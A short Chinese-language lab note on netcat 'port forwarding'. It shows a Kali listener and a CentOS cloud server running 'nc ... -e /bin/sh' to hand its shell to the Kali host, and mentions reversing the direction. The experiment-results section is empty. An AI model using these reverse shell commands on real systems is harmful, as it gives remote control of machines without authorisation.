NC端口转发

实验环境

• kali2020 （内网IP：192.168.123.33）
• Centos (百度云服务器)

实验目的

在 kali中获取百度云服务器的权限

PS: 需要提前开启相应额端口。

实现步骤

在kali中监听 5555 端口

nc -lvp 5555

在百度云服务器中执行

nc 192.168.123.33 5555 -e /bin/sh

需要注意的是，因为服务器和kali不在同一网段。我在实际操作中用的是映射后的IP和端口。如果你的环境在同一网端，直接执行上面命令即可。

实验结果

其他

当然，将两条命令反过来。便可以实现云服务器远程控制本地的kali。